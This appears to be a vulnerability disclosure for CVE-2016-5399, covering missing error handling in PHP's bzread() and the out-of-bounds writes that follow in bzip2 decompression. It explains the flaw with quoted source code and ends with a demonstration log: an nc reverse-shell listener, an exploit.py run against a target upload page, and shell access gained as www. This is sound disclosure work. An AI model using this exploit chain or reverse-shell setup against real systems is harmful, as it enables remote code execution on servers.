Description:
------------
PHP 7.0.8, 5.6.23 and 5.5.37 does not perform adequate error handling in
its `bzread()' function:

php-7.0.8/ext/bz2/bz2.c
,----
| 364 static PHP_FUNCTION(bzread)
| 365 {
| ...
| 382     ZSTR_LEN(data) = php_stream_read(stream, ZSTR_VAL(data), ZSTR_LEN(data));
| 383     ZSTR_VAL(data)[ZSTR_LEN(data)] = '\0';
| 384
| 385     RETURN_NEW_STR(data);
| 386 }
`----

php-7.0.8/ext/bz2/bz2.c
,----
| 210 php_stream_ops php_stream_bz2io_ops = {
| 211     php_bz2iop_write, php_bz2iop_read,
| 212     php_bz2iop_close, php_bz2iop_flush,
| 213     "BZip2",
| 214     NULL, /* seek */
| 215     NULL, /* cast */
| 216     NULL, /* stat */
| 217     NULL  /* set_option */
| 218 };
`----

php-7.0.8/ext/bz2/bz2.c
,----
| 136 /* {{{ BZip2 stream implementation */
| 137
| 138 static size_t php_bz2iop_read(php_stream *stream, char *buf, size_t count)
| 139 {
| 140     struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream->abstract;
| 141     size_t ret = 0;
| 142
| 143     do {
| 144         int just_read;
| ...
| 148         just_read = BZ2_bzread(self->bz_file, buf, to_read);
| 149
| 150         if (just_read < 1) {
| 151             stream->eof = 0 == just_read;
| 152             break;
| 153         }
| 154
| 155         ret += just_read;
| 156     } while (ret < count);
| 157
| 158     return ret;
| 159 }
`----

The erroneous return values for Bzip2 are as follows:

bzip2-1.0.6/bzlib.h
,----
| 038 #define BZ_SEQUENCE_ERROR    (-1)
| 039 #define BZ_PARAM_ERROR       (-2)
| 040 #define BZ_MEM_ERROR         (-3)
| 041 #define BZ_DATA_ERROR        (-4)
| 042 #define BZ_DATA_ERROR_MAGIC  (-5)
| 043 #define BZ_IO_ERROR          (-6)
| 044 #define BZ_UNEXPECTED_EOF    (-7)
| 045 #define BZ_OUTBUFF_FULL      (-8)
| 046 #define BZ_CONFIG_ERROR      (-9)
`----

Should the invocation of BZ2_bzread() fail, the loop would simply be
broken out of (bz2.c:152) and execution would continue with bzread()
returning RETURN_NEW_STR(data).

According to the manual[1], bzread() returns FALSE on error; however
that does not seem to ever happen.

Due to the way that the bzip2 library deals with state, this could
result in an exploitable condition if a user were to call bzread() after
an error, eg:

,----
| $data = "";
| while (!feof($fp)) {
|     $res = bzread($fp);
|     if ($res === FALSE) {
|         exit("ERROR: bzread()");
|     }
|     $data .= $res;
| }
`----


Exploitation
============

One way the lack of error-checking could be abused is through
out-of-bound writes that may occur when `BZ2_decompress()' (BZ2_bzread()
-> BZ2_bzRead() -> BZ2_bzDecompress() -> BZ2_decompress()) processes the
`pos' array using user-controlled selectors as indices:

bzip2-1.0.6/decompress.c
,----
| 106 Int32 BZ2_decompress ( DState* s )
| 107 {
| 108    UChar      uc;
| 109    Int32      retVal;
| ...
| 113    /* stuff that needs to be saved/restored */
| 114    Int32  i;
| 115    Int32  j;
| ...
| 118    Int32  nGroups;
| 119    Int32  nSelectors;
| ...
| 167    /*restore from the save area*/
| 168    i           = s->save_i;
| 169    j           = s->save_j;
| ...
| 172    nGroups     = s->save_nGroups;
| 173    nSelectors  = s->save_nSelectors;
| ...
| 195    switch (s->state) {
| ...
| 286       /*--- Now the selectors ---*/
| 287       GET_BITS(BZ_X_SELECTOR_1, nGroups, 3);
| 288       if (nGroups < 2 || nGroups > 6) RETURN(BZ_DATA_ERROR);
| 289       GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15);
| 290       if (nSelectors < 1) RETURN(BZ_DATA_ERROR);
| 291       for (i = 0; i < nSelectors; i++) {
| 292          j = 0;
| 293          while (True) {
| 294             GET_BIT(BZ_X_SELECTOR_3, uc);
| 295             if (uc == 0) break;
| 296             j++;
| 297             if (j >= nGroups) RETURN(BZ_DATA_ERROR);
| 298          }
| 299          s->selectorMtf[i] = j;
| 300       }
| 301
| 302       /*--- Undo the MTF values for the selectors. ---*/
| 303       {
| 304          UChar pos[BZ_N_GROUPS], tmp, v;
| 305          for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307          for (i = 0; i < nSelectors; i++) {
| 308             v = s->selectorMtf[i];
| 309             tmp = pos[v];
| 310             while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311             pos[0] = tmp;
| 312             s->selector[i] = tmp;
| 313          }
| 314       }
| 315
| ...
| 613    save_state_and_return:
| 614
| 615    s->save_i           = i;
| 616    s->save_j           = j;
| ...
| 619    s->save_nGroups     = nGroups;
| 620    s->save_nSelectors  = nSelectors;
| ...
| 640    return retVal;
| 641 }
`----

bzip2-1.0.6/decompress.c
,----
| 070 #define GET_BIT(lll,uuu)                          \
| 071    GET_BITS(lll,uuu,1)
`----

bzip2-1.0.6/decompress.c
,----
| 043 #define GET_BITS(lll,vvv,nnn)                     \
| 044    case lll: s->state = lll;                      \
| 045    while (True) {                                 \
| ...
| 065    }
`----

If j >= nGroups (decompress.c:297), BZ2_decompress() would save its
state and return BZ_DATA_ERROR.  If the caller don't act on the
erroneous retval, but rather invokes BZ2_decompress() again, the saved
state would be restored (including `i' and `j') and the switch statement
would transfer execution to the BZ_X_SELECTOR_3 case -- ie. the
preceding initialization of `i = 0' and `j = 0' would not be executed.

In pseudocode it could be read as something like:

,----
| i = s->save_i;
| j = s->save_j;
| 
| switch (s->state) {
| case BZ_X_SELECTOR_2:
|     s->state = BZ_X_SELECTOR_2;
| 
|     nSelectors = get_15_bits...
| 
|     for (i = 0; i < nSelectors; i++) {
|         j = 0;
|         while (True) {
|             goto iter;
| case BZ_X_SELECTOR_3:
| iter:
|     s->state = BZ_X_SELECTOR_3;
| 
|     uc = get_1_bit...
| 
|     if (uc == 0) goto done;
|     j++;
|     if (j >= nGroups) {
|         retVal = BZ_DATA_ERROR;
|         goto save_state_and_return;
|     }
|     goto iter;
| done:
|     s->selectorMtf[i] = j;
`----

An example selector with nGroup=6:
,----
| 11111111111110
| ||||| `|||||| `- goto done; s->selectorMtf[i] = 13;
|  `´     j++;
| j++;    goto save_state_and_return;
| goto iter;
`----

Since the selectors are used as indices to `pos' in the subsequent loop,
an `nSelectors' amount of <= 255 - BZ_N_GROUPS bytes out-of-bound writes
may occur if BZ2_decompress() is invoked in spite of a previous error.

bzip2-1.0.6/decompress.c
,----
| 304          UChar pos[BZ_N_GROUPS], tmp, v;
| 305          for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307          for (i = 0; i < nSelectors; i++) {
| 308             v = s->selectorMtf[i];
| 309             tmp = pos[v];
| 310             while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311             pos[0] = tmp;
| 312             s->selector[i] = tmp;
| 313          }
`----

bzip2-1.0.6/bzlib_private.h
,----
| 121 #define BZ_N_GROUPS 6
`----


[1] [https://secure.php.net/manual/en/function.bzread.php] 


Test script:
---------------
upload.php: https://gist.github.com/dyntopia/e52eaa0b10aec1a2a600558413474325
CVE-2016-5399.py: https://gist.github.com/dyntopia/d01e63246a31a54300742c0ad044ee07

Actual result:
--------------
Against FreeBSD 10.3 amd64 with php-fpm 7.0.8 and nginx from the
official repo:

,----
| $ nc -v -l 1.2.3.4 5555 &
| Listening on [1.2.3.4] (family 0, port 5555)
| 
| $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
| [*] sending archive to http://target/upload.php (0)
| 
| Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
| $ fg
| id
| uid=80(www) gid=80(www) groups=80(www)
| 
| uname -imrsU
| FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
| 
| /usr/sbin/pkg query -g "=> %n-%v" php*
| => php70-7.0.8
| => php70-bz2-7.0.8
`----


This issue has been assigned CVE-2016-5399.


-- Hans Jerry Illikainen